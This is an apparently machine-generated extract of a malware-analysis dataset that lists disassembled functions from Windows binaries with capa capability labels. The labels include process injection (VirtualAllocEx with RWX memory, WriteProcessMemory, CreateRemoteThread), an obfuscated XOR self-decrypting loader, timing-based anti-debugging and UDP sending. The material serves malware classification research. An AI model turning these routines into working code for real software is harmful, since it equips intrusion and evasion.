joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10042010
Capabilities:
Allocate or change rwx memory
Check mutex on windows
Create thread
Execute shellcode via indirect call
Get hostname
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push 0x208
lea eax, [ebp - 0x20c]
mov dword [ebp - 0x210], 0x104
push 0
push eax
call fcn.100431f0
add esp, 0xc
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
lea eax, [ebp - 0x20c]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
call ebx
cmp eax, 0xb7
je 0x10042156
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
jne 0x100420f0
push 0x104
push eax
lea eax, [ebp - 0x108]
push eax
call fcn.100431f0
add esp, 0xc
call ebx
push eax
push 0x10052cdc
lea eax, [ebp - 0x108]
push str._s_Error__nError_Code_Is:_d_n
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x108]
push 0x10
push str.ERROR
push eax
push esi
call dword [sym.imp.USER32.dll_MessageBoxA]
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100421f8
mov esp, ebp
pop ebp
ret
push edi
push 0x40
push 0x3000
push 0x7a0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
test edi, edi
jne 0x10042167
push 0x104
push eax
lea eax, [ebp - 0x108]
push eax
call fcn.100431f0
add esp, 0xc
call ebx
push eax
push 0x10052ce8
lea eax, [ebp - 0x108]
push str._s_Error__nError_Code_Is:_d_n
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x108]
push 0x10
push str.ERROR
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
pop ebx
call fcn.100421f8
mov esp, ebp
pop ebp
ret
push 0
push 0x7a0
push 0x100558b0
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1004219e
push 0x104
push eax
lea eax, [ebp - 0x108]
push eax
call fcn.100431f0
add esp, 0xc
call ebx
push eax
push 0x10052cf8
jmp 0x10042129
push 0
push 0
push 0
push edi
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test eax, eax
jne 0x100421d6
push 0x104
push eax
lea eax, [ebp - 0x108]
push eax
call fcn.100431f0
add esp, 0xc
call ebx
push eax
push 0x10052d0c
jmp 0x10042129
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x186a0
call esi
jmp 0x100421e3

Function at 0x10045537
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x10045576
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x10045576
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x10045576
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x10045576
cmp dword [ecx + 0x74], 0xe
jbe 0x10045576
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x10048201
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x1004829e
push ebx
push esi
call fcn.100481ca
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.1004815e
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x1004824b
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1004829d
push edi
push eax
call fcn.100491bc
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x1004826b
call fcn.10046ca4
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1004829c
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.1004815e
add esp, 0x20
test eax, eax
jne 0x1004828a
push edi
call fcn.10046ca4
jmp 0x10048292
push ebx
call fcn.10046ca4
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x1004850b
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1004f508
push 0x1004f500
push str.FlsAlloc
push 0x1f
call fcn.10048427
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1004853f
push dword [ebp + 8]
mov ecx, esi
call dword [0x1004e130]
call esi
jmp 0x10048545
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x10048589
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1004f518
push 0x1004f510
push str.FlsGetValue
push 0x21
call fcn.10048427
mov esi, eax
add esp, 0x10
test esi, esi
je 0x100485c0
push dword [ebp + 8]
mov ecx, esi
call dword [0x1004e130]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x100485c8
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1004f520
push 0x1004f518
push str.FlsSetValue
push 0x22
call fcn.10048427
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10048602
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x1004e130]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x1004dc90
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1004dcbd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1004dcbd
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x94c50
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
xor eax, eax
mov esi, eax
nop
nop
nop
nop
nop
nop
push 1
push eax
mov edi, eax
call fcn.000944d0
add esp, 8
mov eax, edi
mov ecx, edi
shr eax, 1
mov ebx, eax
xor ebx, 0xedb88320
test cl, 1
cmove ebx, eax
push 1
push ebx
call fcn.000944d0
add esp, 8
mov eax, ebx
shr eax, 1
mov ecx, eax
xor ecx, 0xedb88320
test bl, 1
cmove ecx, eax
push 1
push ecx
mov ebx, ecx
call fcn.000944d0
add esp, 8
mov eax, ebx
mov ecx, ebx
shr eax, 1
mov ebx, eax
xor ebx, 0xedb88320
test cl, 1
cmove ebx, eax
push 1
push ebx
call fcn.000944d0
add esp, 8
mov eax, ebx
shr eax, 1
mov ecx, eax
xor ecx, 0xedb88320
test bl, 1
cmove ecx, eax
push 1
push ecx
mov ebx, ecx
call fcn.000944d0
add esp, 8
mov eax, ebx
mov ecx, ebx
shr eax, 1
mov ebx, eax
xor ebx, 0xedb88320
test cl, 1
cmove ebx, eax
push 1
push ebx
call fcn.000944d0
add esp, 8
mov eax, ebx
shr eax, 1
mov ecx, eax
xor ecx, 0xedb88320
test bl, 1
cmove ecx, eax
push 1
push ecx
mov ebx, ecx
call fcn.000944d0
add esp, 8
mov eax, ebx
mov ecx, ebx
shr eax, 1
mov ebx, eax
xor ebx, 0xedb88320
test cl, 1
cmove ebx, eax
push 1
push ebx
call fcn.000944d0
add esp, 8
mov eax, ebx
shr eax, 1
mov ecx, eax
xor ecx, 0xedb88320
test bl, 1
cmove ecx, eax
mov dword [edi*4 + 0xb2128], ecx
push 0x5babac12
call fcn.00094970
add esp, 4
sub esi, eax
add esi, 0xad889749
push 1
push edi
call fcn.00095fa0
add esp, 8
cmp esi, 0x100
mov eax, esi
jne 0x94c60
mov dword [0xb4af8], 0
pop esi
pop edi
pop ebx
pop ebp
ret

Function at 0x97d00
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
mov eax, dword [ebp + 0xc]
test eax, eax
je 0x97d95
mov ebx, 0xffffffff
xor edi, edi
nop
nop
nop
nop
nop
nop
nop
nop
push 0xf6233b52
call fcn.00094970
add esp, 4
mov ecx, eax
mov eax, dword [ebp + 8]
mov edx, ebx
shr edx, cl
movzx ecx, bl
mov esi, edx
movzx eax, byte [eax + edi]
push eax
push ecx
call fcn.00091cc0
add esp, 8
mov ebx, esi
xor ebx, dword [eax*4 + 0xb2128]
push 0xf2840cdb
call fcn.00094970
add esp, 4
mov ecx, edi
sub ecx, eax
inc ecx
push 0x4a73781
push ecx
call fcn.00095fa0
add esp, 8
mov esi, eax
push 1
push edi
call fcn.00095fa0
mov eax, dword [ebp + 0xc]
add esp, 8
cmp esi, eax
mov edi, esi
jne 0x97d20
push 0xffffffffffffffff
push ebx
call fcn.00091cc0
add esp, 8
jmp 0x97d97
xor eax, eax
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0xa1fd0
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
push eax
mov edi, dword [ebp + 8]
mov ebx, 1
mov dword [0xb3224], 1
mov dword [0xb2528], edi
nop
mov esi, edi
shr esi, 0x1e
push 0xffffffffffffffff
push edi
call fcn.00091cc0
add esp, 8
mov dword [ebp - 0x10], eax
push 0x9e8bb125
call fcn.00094970
add esp, 4
and eax, dword [ebp - 0x10]
and edi, 0x97577580
or edi, eax
xor edi, esi
xor edi, 0x68a88a7f
imul edi, edi, 0x6c078965
add edi, ebx
mov dword [ebx*4 + 0xb2528], edi
push 0x105c841
call fcn.00094970
add esp, 4
lea ebx, [ebx + eax + 0x8d90ce6]
push 0xf623392a
call fcn.00094970
add esp, 4
cmp ebx, eax
jne 0xa1ff0
mov dword [0xb3224], 0x270
add esp, 4
pop esi
pop edi
pop ebx
pop ebp
ret

Function at 0xa2990
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x24
cmp dword [ebp + 0xc], 0
je 0xa2a70
mov ebx, dword [ebp + 8]
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x14], eax
call 0xafd10
xor esi, esi
nop
nop
nop
push 0xf6233b43
call fcn.00094970
add esp, 4
mov ecx, eax
mov eax, ebx
xor edx, edx
div ecx
mov edi, edx
push 0x3b
call fcn.0009a200
add esp, 4
neg al
movzx eax, al
push eax
push edi
mov eax, dword [ebp + 8]
mov edi, eax
call fcn.00092a10
add esp, 8
mov byte [ebp - 0xd], al
lea eax, [ebp - 0xd]
lea ecx, [ebp - 0x20]
push eax
call fcn.000af570
movsx eax, byte [ebp - 0xd]
push eax
push ebx
call fcn.00095fa0
add esp, 8
mov ebx, eax
neg esi
xor ebx, edi
push 1
push 0
call fcn.00093630
add esp, 8
push eax
push esi
call fcn.00095fa0
add esp, 8
mov esi, eax
neg esi
cmp esi, 0x14
jne 0xa29c0
lea eax, [ebp - 0x2f]
push eax
push 0xb0636
call fcn.0009b090
add esp, 8
lea esi, [ebp - 0x20]
mov ecx, esi
push eax
call 0xafc30
mov ecx, dword [ebp + 0x10]
push esi
call fcn.000af8d0
mov ecx, esi
call fcn.000af580
mov eax, dword [ebp - 0x14]
inc eax
cmp eax, dword [ebp + 0xc]
jne 0xa29b0
add esp, 0x24
pop esi
pop edi
pop ebx
pop ebp
ret

Function at 0xa3550
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
push eax
mov eax, dword [ebp + 0xc]
cmp eax, 2
jb 0xa35b7
mov edi, dword [ebp + 8]
dec eax
mov bl, byte [edi]
inc edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [edi]
mov dword [ebp - 0x10], eax
push 0xff
push esi
call fcn.00098320
add esp, 8
mov bh, al
push 0x3d
call fcn.0009a200
add esp, 4
mov ecx, esi
and al, bh
xor bl, 0x67
and cl, 0x98
or cl, al
movzx eax, bl
movzx ecx, cl
push eax
push ecx
call fcn.00098320
add esp, 8
mov ebx, eax
mov eax, dword [ebp - 0x10]
mov byte [edi], bl
inc edi
dec eax
jne 0xa3570
add esp, 4
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0xa67a0
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 8]
test eax, eax
je 0xa67bb
dec eax
je 0xa67bb
mov ecx, dword [esp + 4]
nop
movzx edx, byte [ecx + eax - 1]
xor byte [ecx + eax], dl
dec eax
jne 0xa67b0
ret

Function at 0xa7760
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
push ebp
mov ebp, esp
push esi
push 0xc6d154
push 0
call fcn.0009f200
add esp, 8
call eax
mov esi, eax
push dword [0xb4af8]
push eax
call fcn.00091f70
add esp, 8
test al, 1
jne 0xa7799
mov dword [0xb4af8], esi
push esi
call fcn.000a1fd0
add esp, 4
pop esi
pop ebp
jmp fcn.0009cb80

Function at 0xaa160
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 8
mov eax, edx
mov dword [ebp - 0x14], ecx
mov ecx, 3
mov edi, edx
mov esi, 0xffffffff
and eax, 7
cmp eax, 3
cmova ecx, eax
mov dword [ebp - 0x10], ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, edi
mov ecx, 0x4ec4ec4f
mul ecx
mov ecx, edi
shr edx, 3
lea eax, [edx + edx*4]
lea eax, [eax + eax*4]
add eax, edx
sub ecx, eax
push 0x1e86
push ecx
call fcn.000998a0
add esp, 8
mov ecx, dword [ebp - 0x14]
add eax, 0x1ee7
mov ebx, edi
shl ebx, 8
mov word [ecx + esi*2 + 2], ax
push 0xf6233b42
call fcn.00094970
add esp, 4
mov ecx, eax
mov eax, ebx
shr edi, cl
mov ecx, ebx
and eax, 0x4e155b00
and ecx, 0xb1eaa400
xor eax, 0x4e155ba8
push ecx
push eax
call fcn.00097ec0
add esp, 8
xor eax, edi
and edi, ebx
inc esi
xor eax, 0x4e155ba8
or edi, eax
inc edi
cmp esi, dword [ebp - 0x10]
jb 0xaa190
push 1
push 0
call fcn.00093630
add esp, 8
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
sub ecx, eax
mov word [edx + ecx*2], 0
add esp, 8
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x408151
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x408160
pop dword [ebp - 0x2c]
mov eax, 0x408160
sub dword [ebp - 0x2c], eax
push 0x40
push 0x1000
push 0x3d39d
push 0
mov eax, 0x6546c351
sub eax, 0x65047139
add eax, dword [ebp - 0x2c]
call dword [eax]
mov ecx, 0x81087347
add ecx, 0x7ef7d27a
xor esi, esi
add esi, eax
mov edi, 0x4c3fb050
sub edi, 0x4bfc5c50
add edi, dword [ebp - 0x2c]
mov ebx, 0x36603d2e
add ebx, 0x7f291960
add dword [ebp - 0x1c], 0x65f0df52
mov edx, dword [edi]
mov dword [ebp - 0x10], 0xf219c7c2
xor edx, ebx
add dword [ebp - 0x28], 0xdeb8c5ba
mov dword [esi], edx
sub dword [ebp - 0x1c], 0xa3665909
add esi, 0xfc50144e
sub esi, 0xfc50144a
add edi, 0xf7d8ad1d
sub edi, 0xf7d8ad19
loop 0x4081bc
add eax, 0x109d7
mov ebx, eax
add eax, 0x166d1f56
sub eax, 0x166d1f51
mov ecx, 0x400000
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret
Function at 0x401b43
Capabilities:
Execute anti-debugging instructions
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffea8
movd mm0, eax
movd mm1, eax
pxor mm0, mm1
movd eax, mm0
cpuid
movd mm5, dword [ebp + 8]
movd edi, mm5
punpckhwd mm0, mm1
movd mm6, ebx
movd eax, mm6
stosd dword es:[edi], eax
rdtsc
psubsb mm0, mm1
movd mm7, edx
movd dword [ebp - 0xc], mm7
movd mm0, eax
movd dword [ebp - 8], mm0
paddb mm0, mm1
push 0x3e8
call sub.KERNEL32.DLL_Sleep
rdtsc
push edx
paddsb mm0, mm1
push eax
fild qword [esp]
push dword [ebp - 0xc]
push dword [ebp - 8]
psllw mm0, mm1
fild qword [esp]
fsubp st(1)
push 0xf4240
fidiv dword [esp]
frndint
fistp dword [esp]
pop eax
add esp, 0x10
bswap eax
stosd dword es:[edi], eax
call sub.KERNEL32.DLL_GetTickCount
mov ecx, 0x3e8
movd mm0, edx
movd mm2, edx
pxor mm0, mm2
movd edx, mm0
idiv ecx
bswap eax
por mm0, mm1
stosd dword es:[edi], eax
mov dword [ebp - 0xb8], 0x9c
lea eax, [ebp - 0xb8]
psrad mm0, mm1
push eax
call sub.KERNEL32.DLL_GetVersionExA
psadbw mm0, mm1
movd mm3, dword [ebp - 0xb4]
movd eax, mm3
paddb mm0, mm1
xchg ah, al
stosw word es:[edi], ax
psraw mm0, mm1
movd mm4, dword [ebp - 0xb0]
movd eax, mm4
xchg ah, al
stosw word es:[edi], ax
movd mm5, dword [ebp - 0xac]
movd eax, mm5
pcmpgtd mm0, mm1
xchg ah, al
stosw word es:[edi], ax
mov ax, word [ebp - 0x24]
xchg ah, al
stosw word es:[edi], ax
psraw mm0, mm1
mov ax, word [ebp - 0x22]
xchg ah, al
stosw word es:[edi], ax
push edi
lea edi, [ebp - 0xd8]
mov ecx, 0x20
movd mm0, eax
movd mm3, eax
pxor mm0, mm3
movd eax, mm0
psrad mm0, mm1
rep stosb byte es:[edi], al
lea eax, [ebp - 0xd8]
push eax
call sub.KERNEL32.DLL_GlobalMemoryStatus
pop edi
movd mm1, dword [ebp - 0xd0]
movd eax, mm1
shr eax, 0xa
paddusb mm0, mm1
bswap eax
pmulhuw mm0, mm1
stosd dword es:[edi], eax
movd mm2, dword [ebp - 0xcc]
movd eax, mm2
shr eax, 0xa
bswap eax
stosd dword es:[edi], eax
cmp dword [0x40eb03], 0
je 0x401cd5
push 0
punpckhwd mm0, mm1
push 0x80
lea eax, [ebp - 0x158]
push eax
lea eax, [ebp - 4]
push eax
push 0x401cc9
push dword [0x40eb03]
push fcn.004087ca
push sub.KERNEL32.DLL_GetTickCount
push 0x4087fa
push 0x4087fa
jmp fcn.004087ca
mov ax, 0xffff
paddb mm0, mm1
xchg ah, al
stosw word es:[edi], ax
movd mm5, dword [ebp + 0xc]
movd eax, mm5
stosd dword es:[edi], eax
movd mm0, edi
movd mm1, dword [ebp + 8]
psubd mm0, mm1
movd edi, mm0
movd mm6, edi
movd eax, mm6
leave
ret 8

Function at 0x408390
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
add dword [ebp + 8], 1
call sub.KERNEL32.DLL_GetCommandLineA
push 0
push dword [ebp + 8]
push dword [ebp + 0xc]
push eax
call fcn.004086a0
cmp eax, 0
jb 0x4083c5
mov ecx, dword [ebp + 0xc]
cmp byte [ecx], 0
je 0x4083be
mov eax, 1
jmp 0x4083cf
mov eax, 2
jmp 0x4083cf
cmp eax, 0xffffffff
jne 0x4083cf
mov eax, 3
leave
ret 8
Function at 0x408ec2
Capabilities:
Create udp socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
test esi, esi
push edi
jne 0x408ed3
mov esi, 0x40ec60
mov ax, word [esi + 0x10]
push eax
call dword [sym.imp.ws2_32.dll_htons]
cmp dword [esi + 0x98], 0
movzx edi, ax
jne 0x408f08
push 0x7f000001
mov word [esi + 0x18], 2
call dword [sym.imp.ws2_32.dll_htonl]
mov dword [esi + 0x1c], eax
mov dword [esi + 0x98], 1
xor ecx, ecx
cmp dword [esi + 0x98], ecx
jbe 0x408f2a
lea eax, [esi + 0x1a]
cmp word [eax], 0
jne 0x408f1e
mov word [eax], di
inc ecx
add eax, 0x10
cmp ecx, dword [esi + 0x98]
jb 0x408f15
push 0x11
push 2
push 2
call dword [sym.imp.ws2_32.dll_socket]
mov edi, eax
mov dword [esi + 0x9c], 0x10
test edi, edi
jge 0x408f4f
or dword [esi + 0x4cc], 0xffffffff
jmp 0x408fa5
lea eax, [ebp + 8]
mov dword [ebp + 8], 1
push eax
push 0x8004667e
push edi
call dword [sym.imp.ws2_32.dll_ioctlsocket]
cmp eax, 0xffffffff
jne 0x408f74
push edi
call dword [sym.imp.ws2_32.dll_closesocket]
jmp 0x408f46
push dword [esi + 0x14]
call dword [sym.imp.MSVCRT.dll_malloc]
test eax, eax
pop ecx
mov dword [esi + 0x4c8], eax
jne 0x408faa
push edi
call dword [sym.imp.ws2_32.dll_closesocket]
mov dword [esi + 0x4cc], 0xfffffffb
call dword [sym.imp.MSVCRT.dll__errno]
mov dword [eax], 0xc
or eax, 0xffffffff
jmp 0x408fc3
cmp dword [esi + 0x4a4], 0
mov dword [esi + 0x4b8], edi
je 0x408fc1
push 0
push esi
call fcn.00408d2e
mov eax, edi
pop edi
pop esi
pop ebp
ret 4
Function at 0x4095b0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push 0xc
push 0
mov ebx, dword [esi + 0x4c8]
push ebx
call sub.MSVCRT.dll_memset
mov edi, dword [ebp + 0xc]
add esp, 0xc
test byte [edi + 0xe], 2
jne 0x4095da
or byte [ebx + 2], 1
test byte [edi + 0xe], 4
je 0x4095e4
or byte [ebx + 2], 4
lea eax, [edi + 0x38]
push 2
push eax
push ebx
mov byte [ebx + 5], 1
call sub.MSVCRT.dll_memcpy
add esp, 0xc
add ebx, 0xc
lea eax, [edi + 0x3e]
push 0xff
push ebx
push eax
call fcn.0040ac9e
add ebx, eax
lea eax, [edi + 0x3a]
push 4
push eax
push ebx
call sub.MSVCRT.dll_memcpy
add esp, 0xc
add ebx, 4
cmp dword [esi + 0x14], 0x200
jbe 0x40966c
mov ecx, dword [ebp + 0x10]
push 1
pop eax
shl eax, cl
test dword [edi + 0x1c], eax
jne 0x40966c
and byte [ebx], 0
and byte [ebx + 1], 0
inc ebx
push 6
inc ebx
push 0
mov byte [ebx], 0x29
mov ecx, dword [esi + 0x14]
mov edx, ecx
lea eax, [ebx + 1]
shr edx, 8
mov byte [eax], dl
inc eax
lea ebx, [eax + 1]
mov byte [eax], cl
push ebx
call sub.MSVCRT.dll_memset
mov eax, dword [esi + 0x4c8]
add esp, 0xc
add ebx, 6
mov byte [eax + 0xb], 1
mov eax, dword [esi + 0x4c8]
mov ecx, dword [ebp + 0x10]
push dword [esi + 0x9c]
sub ebx, eax
shl ecx, 4
mov dword [ebp + 0xc], ebx
mov dword [ebp + 8], 0xa
lea ecx, [ecx + esi + 0x18]
push ecx
push 0
push ebx
mov ebx, dword [sym.imp.ws2_32.dll_sendto]
push eax
mov dword [ebp - 4], ecx
push dword [esi + 0x4b8]
call ebx
test eax, eax
jge 0x4096dc
dec dword [ebp + 8]
je 0x4096c9
push dword [esi + 0x9c]
push dword [ebp - 4]
push 0
push dword [ebp + 0xc]
push dword [esi + 0x4c8]
push dword [esi + 0x4b8]
jmp 0x4096a2
push 0
push 0xffffffffffffffff
push edi
push esi
call fcn.0040956a
or eax, 0xffffffff
jmp 0x409763
mov eax, dword [esi + 0x4b0]
test eax, eax
je 0x4096fc
push dword [edi + 0x34]
push edi
push dword [ebp + 0xc]
push dword [esi + 0x4c8]
push 0x10
push dword [ebp - 4]
push 1
call eax
mov ecx, dword [ebp + 0x10]
push 1
pop eax
shl eax, cl
push edi
push esi
or dword [edi + 0x14], eax
call fcn.0040976a
test eax, eax
je 0x409717
push 1
pop eax
jmp 0x40971f
mov eax, dword [esi + 4]
mov ecx, dword [edi + 0x20]
shl eax, cl
mov ecx, dword [ebp + 0x14]
add eax, ecx
mov ecx, dword [edi + 4]
mov dword [edi + 0x28], eax
mov eax, dword [edi]
mov dword [eax + 4], ecx
mov eax, dword [edi + 4]
mov ecx, dword [edi]
mov dword [eax], ecx
mov eax, dword [esi + 0x4c0]
lea ecx, [esi + 0x4bc]
cmp eax, ecx
je 0x409755
mov edx, dword [edi + 0x28]
cmp dword [eax + 0x28], edx
jle 0x409755
mov eax, dword [eax + 4]
cmp eax, ecx
jne 0x409749
mov ecx, dword [eax]
mov dword [edi + 4], eax
mov dword [edi], ecx
mov dword [ecx + 4], edi
mov dword [eax], edi
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x409888
Capabilities:
Get socket status

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
push ebx
mov ebx, dword [ebp + 8]
push edi
xor edi, edi
cmp ebx, edi
jne 0x4098a1
mov ebx, 0x40ec60
mov eax, dword [ebp + 0xc]
cmp eax, edi
je 0x4098bc
mov ecx, 0x409941
cmp dword [eax + 0x30], ecx
jne 0x4098c0
mov dword [ebx + 0x4cc], 0xfffffffa
xor eax, eax
jmp 0x40993b
mov dword [eax + 0x30], ecx
push esi
mov esi, dword [sym.imp.MSVCRT.dll_time]
lea ecx, [ebp - 8]
push edi
mov dword [eax + 0x34], ecx
mov dword [ebp - 8], edi
call esi
pop ecx
mov dword [ebp + 8], eax
cmp dword [ebp - 8], edi
jne 0x409937
push dword [ebp + 8]
push 0xffffffffffffffff
push ebx
call fcn.004097fd
cmp eax, edi
jl 0x409937
mov ecx, dword [ebx + 0x4b8]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x10]
mov dword [ebp - 0x110], ecx
push eax
push edi
lea eax, [ebp - 0x114]
push edi
inc ecx
push eax
push ecx
mov dword [ebp - 0x114], 1
mov dword [ebp - 0xc], edi
call dword [sym.imp.ws2_32.dll_select]
push edi
mov dword [ebp + 0xc], eax
call esi
cmp dword [ebp + 0xc], edi
pop ecx
mov dword [ebp + 8], eax
jle 0x4098da
push eax
push ebx
call fcn.00409207
jmp 0x4098da
mov eax, dword [ebp - 4]
pop esi
pop edi
pop ebx
leave
ret 8